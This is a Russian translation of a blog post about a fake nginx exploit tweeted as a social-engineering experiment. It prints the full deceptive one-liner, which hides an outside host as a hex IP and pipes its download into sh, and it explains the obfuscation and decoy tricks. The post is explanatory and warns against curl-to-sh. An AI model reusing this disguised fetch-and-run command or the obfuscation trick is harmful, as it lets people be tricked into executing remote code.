УспСх ΡΠΎΡ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ экспСримСнта с ΠΏΠΎΠ΄Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΌ эксплойтом для nginx

ΠŸΡ€ΠΈΠΌ. ΠΏΠ΅Ρ€Π΅Π².: Автор ΠΎΡ€ΠΈΠ³ΠΈΠ½Π°Π»ΡŒΠ½ΠΎΠΉ Π·Π°ΠΌΠ΅Ρ‚ΠΊΠΈ, ΠΎΠΏΡƒΠ±Π»ΠΈΠΊΠΎΠ²Π°Π½Π½ΠΎΠΉ 1 июня, Ρ€Π΅ΡˆΠΈΠ» провСсти экспСримСнт Π² срСдС ΠΈΠ½Ρ‚Π΅Ρ€Π΅ΡΡƒΡŽΡ‰ΠΈΡ…ΡΡ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΎΠ½Π½ΠΎΠΉ Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡ‚ΡŒΡŽ. Для этого ΠΎΠ½ ΠΏΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²ΠΈΠ» ΠΏΠΎΠ΄Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΉ эксплойт ΠΊ нСраскрытой уязвимости Π² Π²Π΅Π±-сСрвСрС ΠΈ размСстил Π΅Π³ΠΎ Π² своём Ρ‚Π²ΠΈΡ‚Ρ‚Π΅Ρ€Π΅. Π•Π³ΠΎ прСдполоТСния β€” Π±Ρ‹Ρ‚ΡŒ ΠΌΠ³Π½ΠΎΠ²Π΅Π½Π½ΠΎ Ρ€Π°Π·ΠΎΠ±Π»Π°Ρ‡Ρ‘Π½Π½Ρ‹ΠΌ спСциалистами, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ увидят ΠΎΡ‡Π΅Π²ΠΈΠ΄Π½Ρ‹ΠΉ ΠΎΠ±ΠΌΠ°Π½ Π² ΠΊΠΎΠ΄Π΅, β€” Π½Π΅ просто Π½Π΅ ΠΎΠΏΡ€Π°Π²Π΄Π°Π»ΠΈΡΡŒβ€¦ Они ΠΏΡ€Π΅Π²Π·ΠΎΡˆΠ»ΠΈ всС оТидания, ΠΏΡ€ΠΈΡ‡Ρ‘ΠΌ Π² ΠΎΠ±Ρ€Π°Ρ‚Π½ΡƒΡŽ сторону: Ρ‚Π²ΠΈΡ‚ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ» ΠΎΠ³Ρ€ΠΎΠΌΠ½ΡƒΡŽ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ ΠΎΡ‚ многочислСнных людСй, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ стали ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡ‚ΡŒ Π΅Π³ΠΎ содСрТимоС.

УспСх ΡΠΎΡ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ экспСримСнта с ΠΏΠΎΠ΄Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΌ эксплойтом для nginx

TL;DR: Π½ΠΈ Π² ΠΊΠΎΠ΅ΠΌ случаС Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ ΠΊΠΎΠ½Π²Π΅ΠΉΠ΅Ρ€ΠΈΠ·Π°Ρ†ΠΈΡŽ Ρ„Π°ΠΉΠ»ΠΎΠ² Π² sh ΠΈΠ»ΠΈ bash. Π­Ρ‚ΠΎ ΠΎΡ‚Π»ΠΈΡ‡Π½Ρ‹ΠΉ способ ΡƒΡ‚Ρ€Π°Ρ‚ΠΈΡ‚ΡŒ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒ Π½Π°Π΄ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€ΠΎΠΌ.

Π₯ΠΎΡ‡Ρƒ ΠΏΠΎΠ΄Π΅Π»ΠΈΡ‚ΡŒΡΡ с Π²Π°ΠΌΠΈ нСбольшой историСй ΠΎ ΡˆΡƒΡ‚ΠΎΡ‡Π½ΠΎΠΌ PoC-эксплойтС, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±Ρ‹Π» создан 31 мая. Он появился ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΈΠ²Π½ΠΎ Π² ΠΎΡ‚Π²Π΅Ρ‚ Π½Π° Π½ΠΎΠ²ΠΎΡΡ‚ΡŒ ΠΎΡ‚ Alisa Esage Π¨Π΅Π²Ρ‡Π΅Π½ΠΊΠΎ, Ρ‡Π»Π΅Π½Π° Zero Day Initiative (ZDI), ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ скоро Π±ΡƒΠ΄Π΅Ρ‚ раскрыта информация ΠΎΠ± уязвимости Π² NGINX, приводящСй ΠΊ RCE (ΡƒΠ΄Π°Π»Π΅Π½Π½ΠΎΠΌΡƒ исполнСнию ΠΊΠΎΠ΄Π°). ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ NGINX Π»Π΅ΠΆΠΈΡ‚ Π² основС ΠΌΠ½ΠΎΠ³ΠΈΡ… Π²Π΅Π±-сайтов, Π½ΠΎΠ²ΠΎΡΡ‚ΡŒ Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Π»Π° произвСсти эффСкт Ρ€Π°Π·ΠΎΡ€Π²Π°Π²ΡˆΠ΅ΠΉΡΡ Π±ΠΎΠΌΠ±Ρ‹. Но ΠΈΠ·-Π·Π° Π·Π°Π΄Π΅Ρ€ΠΆΠ΅ΠΊ Π² процСссС «отвСтствСнного раскрытия» ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ подробности ΠΏΡ€ΠΎΠΈΠ·ΠΎΡˆΠ΅Π΄ΡˆΠ΅Π³ΠΎ Π½Π΅ Π±Ρ‹Π»ΠΈ извСстны β€” Ρ‚Π°ΠΊΠΎΠ²Π° стандартная ΠΏΡ€ΠΎΡ†Π΅Π΄ΡƒΡ€Π° ZDI.

УспСх ΡΠΎΡ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ экспСримСнта с ΠΏΠΎΠ΄Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΌ эксплойтом для nginx
Π’Π²ΠΈΡ‚ ΠΎ раскрытии уязвимости Π² NGINX

Π—Π°ΠΊΠΎΠ½Ρ‡ΠΈΠ² Ρ€Π°Π±ΠΎΡ‚Ρƒ Π½Π°Π΄ Π½ΠΎΠ²ΠΎΠΉ Ρ‚Π΅Ρ…Π½ΠΈΠΊΠΎΠΉ обфускации Π² curl, я ΠΏΡ€ΠΎΡ†ΠΈΡ‚ΠΈΡ€ΠΎΠ²Π°Π» ΠΎΡ€ΠΈΠ³ΠΈΠ½Π°Π»ΡŒΠ½Ρ‹ΠΉ Ρ‚Π²ΠΈΡ‚ ΠΈ «слил Ρ€Π°Π±ΠΎΡ‡ΠΈΠΉ PoCΒ», состоящий ΠΈΠ· ΠΎΠ΄Π½ΠΎΠΉ строки ΠΊΠΎΠ΄Π°, якобы ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰Π΅ΠΉ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠ΅Π½Π½ΡƒΡŽ ΡƒΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ. ΠšΠΎΠ½Π΅Ρ‡Π½ΠΎ, это Π±Ρ‹Π»Π° полная Π΅Ρ€ΡƒΠ½Π΄Π°. Π― ΠΏΠΎΠ»Π°Π³Π°Π», Ρ‡Ρ‚ΠΎ мСня сразу Π²Ρ‹Π²Π΅Π΄ΡƒΡ‚ Π½Π° Ρ‡ΠΈΡΡ‚ΡƒΡŽ Π²ΠΎΠ΄Ρƒ, ΠΈ Ρ‡Ρ‚ΠΎ Π² Π»ΡƒΡ‡ΡˆΠ΅ΠΌ случаС я ΠΏΠΎΠ»ΡƒΡ‡Ρƒ ΠΏΠ°Ρ€Ρƒ Ρ€Π΅Ρ‚Π²ΠΈΡ‚ΠΎΠ² (Π½Ρƒ ΠΈ Π»Π°Π΄Π½ΠΎ).

УспСх ΡΠΎΡ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ экспСримСнта с ΠΏΠΎΠ΄Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΌ эксплойтом для nginx
Π’Π²ΠΈΡ‚ с ΠΏΠΎΠ΄Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΌ эксплойтом

Однако я Π½Π΅ ΠΌΠΎΠ³ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ сСбС Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΎΠΈΠ·ΠΎΡˆΠ»ΠΎ дальшС. ΠŸΠΎΠΏΡƒΠ»ΡΡ€Π½ΠΎΡΡ‚ΡŒ ΠΌΠΎΠ΅Π³ΠΎ Ρ‚Π²ΠΈΡ‚Π° Π²Π·Π»Π΅Ρ‚Π΅Π»Π° Π΄ΠΎ нСбСс. Π£Π΄ΠΈΠ²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ, Π½ΠΎ Π½Π° Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ (15:00 МБК 1 июня) Π΄ΠΎ сих ΠΏΠΎΡ€ ΠΌΠ°Π»ΠΎ ΠΊΡ‚ΠΎ осознал, Ρ‡Ρ‚ΠΎ это Ρ„Π°Π»ΡŒΡˆΠΈΠ²ΠΊΠ°. МногиС рСтвитят Π΅Π³ΠΎ Π²ΠΎΠΎΠ±Ρ‰Π΅ Π±Π΅Π· ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ (Π½Π΅ говоря ΡƒΠΆΠ΅ ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡŽΠ±ΠΎΠ²Π°Ρ‚ΡŒΡΡ прСлСстной ASCII-Π³Ρ€Π°Ρ„ΠΈΠΊΠΎΠΉ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΎΠ½ Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚).

УспСх ΡΠΎΡ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ экспСримСнта с ΠΏΠΎΠ΄Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΌ эксплойтом для nginx
Волько посмотритС, какая красота!

Π₯ΠΎΡ‚ΡŒ всС эти Ρ†ΠΈΠΊΠ»Ρ‹ ΠΈ Ρ†Π²Π΅Ρ‚Π° Π·Π°ΠΌΠ΅Ρ‡Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹, понятноС Π΄Π΅Π»ΠΎ: Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΡ… ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ, люди выполняли ΠΊΠΎΠ΄ Π½Π° своСй машинС. К ΡΡ‡Π°ΡΡ‚ΡŒΡŽ, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½ΠΎ, ΠΈ Π² сочСтании с Ρ„Π°ΠΊΡ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ с Π·Π°ΠΊΠΎΠ½ΠΎΠΌ ΠΌΠ½Π΅ вовсС Π½Π΅ Π½ΡƒΠΆΠ½Ρ‹, ΠΊΠΎΠ΄, запрятанный Π² ΠΌΠΎΠ΅ΠΌ сайтС, всСго лишь Π΄Π΅Π»Π°Π» Π²Ρ‹Π·ΠΎΠ²Ρ‹ echo, Π½Π΅ ΠΏΡ‹Ρ‚Π°ΡΡΡŒ ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°Ρ‚ΡŒ ΠΈΠ»ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ ΠΊΠ°ΠΊΠΎΠΉ Π±Ρ‹ Ρ‚ΠΎ Π½ΠΈ Π±Ρ‹Π»ΠΎ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΠΊΠΎΠ΄.

НСбольшоС отступлСниС: netspooky, dnz, я ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΏΠ°Ρ€Π½ΠΈ ΠΈΠ· ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ Thugcrowd ΡƒΠΆΠ΅ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ врСмя ΠΈΠ³Ρ€Π°Π΅ΠΌ с Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌΠΈ способами обфускации curl-ΠΊΠΎΠΌΠ°Π½Π΄, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ это ΠΏΡ€ΠΈΠΊΠΎΠ»ΡŒΠ½ΠΎβ€¦ ΠΈ ΠΌΡ‹ Π³ΠΈΠΊΠΈ. netspooky ΠΈ dnz ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΠ»ΠΈ нСсколько Π½ΠΎΠ²Ρ‹Ρ… способов, ΠΏΠΎΠΊΠ°Π·Π°Π²ΡˆΠΈΡ…ΡΡ ΠΌΠ½Π΅ Ρ‡Ρ€Π΅Π·Π²Ρ‹Ρ‡Π°ΠΉΠ½ΠΎ пСрспСктивными. Π― присоСдинился ΠΊ вСсСлью ΠΈ ΠΏΠΎΠΏΡ€ΠΎΠ±ΠΎΠ²Π°Π» Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ IP-дСсятичныС прСобразования ΠΊ Π½Π°Π±ΠΎΡ€Ρƒ ΡƒΠ»ΠΎΠ²ΠΎΠΊ. Оказалось, Ρ‡Ρ‚ΠΎ IP Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΊΠΎΠ½Π²Π΅Ρ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π² ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½Ρ‹ΠΉ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚. Π‘ΠΎΠ»Π΅Π΅ Ρ‚ΠΎΠ³ΠΎ, curl ΠΈ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ Π΄Ρ€ΡƒΠ³ΠΈΡ… NIX-инструмСнтов с ΡƒΠ΄ΠΎΠ²ΠΎΠ»ΡŒΡΡ‚Π²ΠΈΠ΅ΠΌ Β«ΠΊΡƒΡˆΠ°ΡŽΡ‚Β» ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½Ρ‹Π΅ IP! Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ‚Ρ€Π΅Π±ΠΎΠ²Π°Π»ΠΎΡΡŒ просто ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΡƒΠ±Π΅Π΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΡƒΡŽ ΠΈ бСзопасно Π²Ρ‹Π³Π»ΡΠ΄ΡΡ‰ΡƒΡŽ ΠΊΠΎΠΌΠ°Π½Π΄Π½ΡƒΡŽ строку. Π’ ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠΌ ΠΈΡ‚ΠΎΠ³Π΅ я остановился Π½Π° этой:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Π‘ΠΎΡ†ΠΈΠΎ-элСктронная инТСнСрия (S.E.E.) β€” большС, Ρ‡Π΅ΠΌ просто Ρ„ΠΈΡˆΠΈΠ½Π³

Π‘Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡ‚ΡŒ ΠΈ ΠΏΡ€ΠΈΠ²Ρ‹Ρ‡Π½ΠΎΡΡ‚ΡŒ Π±Ρ‹Π»ΠΈ основной Ρ‡Π°ΡΡ‚ΡŒΡŽ этого экспСримСнта. Π”ΡƒΠΌΠ°ΡŽ, ΠΈΠΌΠ΅Π½Π½ΠΎ ΠΎΠ½ΠΈ ΠΏΡ€ΠΈΠ²Π΅Π»ΠΈ ΠΊ Π΅Π³ΠΎ успСху. Командная строка явно ΠΏΠΎΠ΄Ρ€Π°Π·ΡƒΠΌΠ΅Π²Π°Π»Π° Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡ‚ΡŒ, ΡΡΡ‹Π»Π°ΡΡΡŒ Π½Π° Β«127.0.0.1Β» (всСм извСстный localhost). БчитаСтся, Ρ‡Ρ‚ΠΎ localhost бСзопасСн, Π° Π΄Π°Π½Π½Ρ‹Π΅ Π½Π° Π½Π΅ΠΌ Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ ΠΏΠΎΠΊΠΈΠ΄Π°ΡŽΡ‚ ваш ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€.

ΠŸΡ€ΠΈΠ²Ρ‹Ρ‡Π½ΠΎΡΡ‚ΡŒ Π±Ρ‹Π»Π° Π²Ρ‚ΠΎΡ€Ρ‹ΠΌ ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹ΠΌ S.E.E.-ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΎΠΌ экспСримСнта. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ цСлСвая аудитория прСимущСствСнно состояла ΠΈΠ· людСй, Π·Π½Π°ΠΊΠΎΠΌΡ‹Ρ… с основами ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π½ΠΎΠΉ бСзопасности, Π²Π°ΠΆΠ½ΠΎ Π±Ρ‹Π»ΠΎ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Ρ‚Π°ΠΊΠΎΠΉ ΠΊΠΎΠ΄, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΅Π³ΠΎ части казались Π·Π½Π°ΠΊΠΎΠΌΡ‹ΠΌΠΈ ΠΈ ΠΏΡ€ΠΈΠ²Ρ‹Ρ‡Π½Ρ‹ΠΌΠΈ (Π° ΠΏΠΎΡ‚ΠΎΠΌΡƒ бСзопасными). ЗаимствованиС элСмСнтов старых эксплойт-ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΠΉ ΠΈ ΠΈΡ… ΠΊΠΎΠΌΠ±ΠΈΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ Π½Π΅ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹ΠΌ способом оказалось вСсьма ΡƒΡΠΏΠ΅ΡˆΠ½Ρ‹ΠΌ.

НиТС ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½Ρ‹ΠΉ Ρ€Π°Π·Π±ΠΎΡ€ однострочника. ВсС Π² этом спискС носит космСтичСский Ρ…Π°Ρ€Π°ΠΊΡ‚Π΅Ρ€, Π° для Π΅Π³ΠΎ Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠΉ Ρ€Π°Π±ΠΎΡ‚Ρ‹ практичСски Π½ΠΈΡ‡Π΅Π³ΠΎ Π½Π΅ трСбуСтся.

КакиС ΠΆΠ΅ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Ρ‹ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹? Π­Ρ‚ΠΎ -gsS, -O 0x0238f06a, |sh ΠΈ сам Π²Π΅Π±-сСрвСр. Π’Π΅Π±-сСрвСр Π½Π΅ содСрТал Π½ΠΈΠΊΠ°ΠΊΠΈΡ… Π·Π»ΠΎΠ½Π°ΠΌΠ΅Ρ€Π΅Π½Π½Ρ‹Ρ… инструкций, Π° просто ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Π» ASCII-Π³Ρ€Π°Ρ„ΠΈΠΊΡƒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠΎΠΌΠ°Π½Π΄ echo Π² скриптС, содСрТащСмся Π² index.html. Когда ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π²Π²ΠΎΠ΄ΠΈΠ» строку с |sh Π² сСрСдинС, index.html загруТался ΠΈ выполнялся. К ΡΡ‡Π°ΡΡ‚ΡŒΡŽ, Ρ…Ρ€Π°Π½ΠΈΡ‚Π΅Π»ΠΈ Π²Π΅Π±-сСрвСра Π½Π΅ ΠΈΠΌΠ΅Π»ΠΈ Π·Π»Ρ‹Ρ… Π½Π°ΠΌΠ΅Ρ€Π΅Π½ΠΈΠΉ.

  • ../../../%00 β€” ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚ Π²Ρ‹Ρ…ΠΎΠ΄ Π·Π° ΠΏΡ€Π΅Π΄Π΅Π»Ρ‹ Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΠΈ;
  • ngx_stream_module.so β€” ΠΏΡƒΡ‚ΡŒ ΠΊ случайному ΠΌΠΎΠ΄ΡƒΠ»ΡŽ NGINX;
  • /bin/sh%00<'protocol:TCP' β€” ΠΌΡ‹ якобы запускаСм /bin/sh Π½Π° Ρ†Π΅Π»Π΅Π²ΠΎΠΉ машинС ΠΈ пСрСнаправляСм Π²Ρ‹Π²ΠΎΠ΄ Π² TCP-ΠΊΠ°Π½Π°Π»;
  • -O 0x0238f06a#PLToffset β€” сСкрСтный ΠΈΠ½Π³Ρ€Π΅Π΄ΠΈΠ΅Π½Ρ‚, Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½Π½Ρ‹ΠΉ #PLToffset, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ ΠΊΠ°ΠΊ смСщСниС памяти, ΠΊΠ°ΠΊΠΈΠΌ-Ρ‚ΠΎ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ содСрТащССся Π² PLT;
  • |sh; β€” Π΅Ρ‰Π΅ ΠΎΠ΄ΠΈΠ½ Π²Π°ΠΆΠ½Ρ‹ΠΉ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚. Нам Π±Ρ‹Π»ΠΎ Π½ΡƒΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Π²Ρ‹Π²ΠΎΠ΄ Π² sh/bash, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ ΠΊΠΎΠ΄, ΠΏΠΎΡΡ‚ΡƒΠΏΠ°ΡŽΡ‰ΠΈΠΉ с Π°Ρ‚Π°ΠΊΡƒΡŽΡ‰Π΅Π³ΠΎ Π²Π΅Π±-сСрвСра, располоТСнного ΠΏΠΎ адрСсу 0x0238f06a (2.56.240.x);
  • nc /dev/tcp/localhost β€” ΠΏΡƒΡΡ‚Ρ‹ΡˆΠΊΠ°, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ netcat ссылаСтся Π½Π° /dev/tcp/localhost, Ρ‡Ρ‚ΠΎΠ±Ρ‹ всС ΠΎΠΏΡΡ‚ΡŒ выглядСло бСзопасно. На самом ΠΆΠ΅ Π΄Π΅Π»Π΅, Π½ΠΈΡ‡Π΅Π³ΠΎ Π½Π΅ Π΄Π΅Π»Π°Π΅Ρ‚ ΠΈ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ Π² строку для красоты.

На этом Π·Π°ΠΊΠ°Π½Ρ‡ΠΈΠ²Π°ΡŽΡ‚ΡΡ Ρ€Π°ΡΡˆΠΈΡ„Ρ€ΠΎΠ²ΠΊΠ° однострочного скрипта ΠΈ обсуТдСниС аспСктов «социо-элСктронной ΠΈΠ½ΠΆΠ΅Π½Π΅Ρ€ΠΈΠΈΒ» (Π·Π°Ρ‚Π΅ΠΉΠ»ΠΈΠ²ΠΎΠ³ΠΎ Ρ„ΠΈΡˆΠΈΠ½Π³Π°).

ΠšΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΡ Π²Π΅Π±-сСрвСра ΠΈ ΠΌΠ΅Ρ€Ρ‹ противодСйствия

ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΏΠΎΠ΄Π°Π²Π»ΡΡŽΡ‰Π΅Π΅ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ ΠΌΠΎΠΈΡ… подписчиков β€” инфобСзопасники/Ρ…Π°ΠΊΠ΅Ρ€Ρ‹, я Ρ€Π΅ΡˆΠΈΠ» ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π²Π΅Π±-сСрвСр Ρ‡ΡƒΡ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ устойчивым ΠΊ проявлСниям «интСрСса» с ΠΈΡ… стороны просто для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ рСбятам Π±Ρ‹Π»ΠΎ Ρ‡Π΅ΠΌ Π·Π°Π½ΡΡ‚ΡŒΡΡ (Π΄Π° ΠΈ Π½Π°ΡΡ‚Ρ€Π°ΠΈΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ Π±Ρ‹Π»ΠΎ ΠΏΡ€ΠΈΠΊΠΎΠ»ΡŒΠ½ΠΎ). Π― Π½Π΅ ΡΠΎΠ±ΠΈΡ€Π°ΡŽΡΡŒ здСсь ΠΏΠ΅Ρ€Π΅Ρ‡ΠΈΡΠ»ΡΡ‚ΡŒ всС Π»ΠΎΠ²ΡƒΡˆΠΊΠΈ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ экспСримСнт всС Π΅Ρ‰Π΅ продолТаСтся, Π½ΠΎ Π²ΠΎΡ‚ нСсколько Π²Π΅Ρ‰Π΅ΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ сСрвСр Π΄Π΅Π»Π°Π΅Ρ‚:

  • Активно отслСТиваСт ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠΈ распространСния Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… ΡΠΎΡ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Ρ… сСтях ΠΈ подставляСт Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ ΠΌΠΈΠ½ΠΈΠ°Ρ‚ΡŽΡ€Ρ‹ прСдпросмотра, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ±ΡƒΠ΄ΠΈΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ ΠΏΠΎ ссылкС.
  • ΠŸΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²Π»ΡΠ΅Ρ‚ Chrome/Mozilla/Safari/ΠΈ Ρ‚. Π΄. Π½Π° ΠΏΡ€ΠΎΠΌΠΎ-Ρ€ΠΎΠ»ΠΈΠΊ Thugcrowd вмСсто Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ скрипт shell.
  • Π‘Π»Π΅Π΄ΠΈΡ‚ Π·Π° Π―Π’ΠΠ«ΠœΠ˜ ΠΏΡ€ΠΈΠ·Π½Π°ΠΊΠ°ΠΌΠΈ вторТСния/Π³Ρ€ΡƒΠ±ΠΎΠ³ΠΎ Π²Π·Π»ΠΎΠΌΠ°, послС Ρ‡Π΅Π³ΠΎ Π½Π°Ρ‡ΠΈΠ½Π°Π΅Ρ‚ ΠΏΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ запросы Π½Π° сСрвСры АНБ (Ρ…Π°!).
  • УстанавливаСт троян, Π° Ρ‚Π°ΠΊΠΆΠ΅ BIOS rootkit Π½Π° всС ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Ρ‹, ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΏΠΎΡΠ΅Ρ‰Π°ΡŽΡ‚ хост с ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠ³ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° (ΡˆΡƒΡ‚ΠΊΠ°!).

